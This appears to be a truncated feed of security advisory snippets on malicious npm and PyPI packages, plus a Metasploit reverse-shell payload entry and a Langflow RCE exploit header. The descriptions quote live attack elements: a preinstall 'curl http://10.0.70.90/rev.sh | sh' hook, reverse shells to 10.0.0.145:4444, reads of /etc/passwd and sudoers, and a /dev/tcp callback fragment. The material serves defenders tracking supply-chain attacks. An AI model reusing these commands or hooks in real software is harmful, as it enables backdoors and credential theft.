Malicious code in joule-btp-extension (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 91439e7a69d936aa8a65b16561f48e9d9abab26fc8e3af4087da8d367cfd2210 On pip install, setup.py runs a collectandexfiltrate routine that reads /private/etc/passwd, /private/etc/hosts, and /private/etc/sudoers; captures...

Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

MAL-2026-13483 Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

Malicious code in streak-map-cache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6ae48e032b5494c8939d41973598b9dd35d5954ccf6850cd633e7992995cc6b The package advertises itself as a dependency-free day/streak math library, but its main entrypoint dist/index.mjs contains a top-level async IIFE th...

MAL-2026-13459 Malicious code in streak-map-cache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6ae48e032b5494c8939d41973598b9dd35d5954ccf6850cd633e7992995cc6b The package advertises itself as a dependency-free day/streak math library, but its main entrypoint dist/index.mjs contains a top-level async IIFE th...

MAL-2026-11424 Malicious code in telerape (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 21e8fc4f3dd969ec103ff1cb8a5bdba0d465bffffabe2615bc38d8e00606cffa Package places a reverse shell in the PTH file. In analyzed versions, the target was on localhost. --- Category: MALICIOUS - The campaign has clearly malicious...

MAL-2026-11003 Malicious code in n8n-nodes-net-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5ddadbbcb032b0a9eb2b0acb04579ceb1da5c1814d3a0d212830b82191dbeca0 The package advertises itself as an n8n community 'Network Utils' node, but its main entry index.js is an IIFE that executes on require. On load it: ...

Malicious code in n8n-nodes-pwn (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae8222d3f90f4cff83a0840ee03f4b127946274f0215a73eadd6008404a2276e The package's Pwn.node.js executes malicious code at module load time when n8n loads this community node. It opens a TCP socket to 10.0.0.145:4444 an...

MAL-2026-11004 Malicious code in n8n-nodes-pwn (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae8222d3f90f4cff83a0840ee03f4b127946274f0215a73eadd6008404a2276e The package's Pwn.node.js executes malicious code at module load time when n8n loads this community node. It opens a TCP socket to 10.0.0.145:4444 an...

MAL-2026-11006 Malicious code in n8n-nodes-utils-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9256e5f20f66f3eb9875dcc475299249173730d784230eb157c327171d114e21 The package advertises itself as an n8n community node 'Utility nodes for n8n', but the declared community node file MyNode.js is an empty stub and t...

Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT

Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack. The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil , which was observed using...

Malicious code in northstart-sdk (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa58bcfb4f89faf624c1f99bb552e597cc2e061330a2e98e72e6f401bb70b4f9 The pypi package northstart-sdk 0.2.1 executes attacker-controlled code as a side effect of import northstartsdk. The top-level init.py assigns...

MAL-2026-10672 Malicious code in northstart-sdk (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa58bcfb4f89faf624c1f99bb552e597cc2e061330a2e98e72e6f401bb70b4f9 The pypi package northstart-sdk 0.2.1 executes attacker-controlled code as a side effect of import northstartsdk. The top-level init.py assigns...

MAL-2026-10623 Malicious code in http-ws-listener (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b70acc8a626218c5855ef656a6945f1f2018c0ff62c112d9b31bae5016fae49 [email protected] ships misc/configFetcher.js, which reconstructs a hidden Pastebin URL and the module names 'net' and 'childprocess' by...

FTP Fetch, Linux Command Shell, Reverse TCP Stager

Fetch and execute an MIPSBE payload from an FTP server. Spawn a command shell staged. Connect back to the attacker Module Options msf use payload/cmd/linux/ftp/mipsbe/shell/reversetcp msf payloadreversetcp show actions ...actions... msf payloadreversetcp set ACTION msf payloadreversetcp show...

MAL-2026-7014 Malicious code in vps-new-manager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b3a87c3a5996e3d81f13922de94c19e39af1be7c9b6920fc9ade4f43edd838b7 The package's main entry dist/index.js re-exports createServerAdapter from./server/index.js, causing that module to evaluate on any require/import of...

Malicious code in vps-new-manager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b3a87c3a5996e3d81f13922de94c19e39af1be7c9b6920fc9ade4f43edd838b7 The package's main entry dist/index.js re-exports createServerAdapter from./server/index.js, causing that module to evaluate on any require/import of...

MAL-2026-6970 Malicious code in jsonschemavalid (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 66c7a352526170a98abaa8fcccfd433c9e8326e340df4904adce19bd13a05902 A clone of a legitimate package with an embeded reverse shell. In the published version, the reverse shell was connecting to a private IP address suggesting th...

Langflow 1.9.0 - RCE

Exploit Title: Langflow 1.9.0 - RCE Exploit Author: Diamorphine Vendor Homepage: https://www.langflow.org/ Software Link: https://www.langflow.org/desktop Version: & /dev/tcp/lhost/lport 0&1'"\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom...

MAL-2026-6945 Malicious code in jsonschemavalidation (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eae82aa94c358f1f00f8a12e8b583cee82efdcf09d2f80263e6851ac0fec98f3 The PyPI project jsonschemavalidation builds a wheel whose installed top-level package is literally jsonschema tool.hatch.build.targets.wheel package...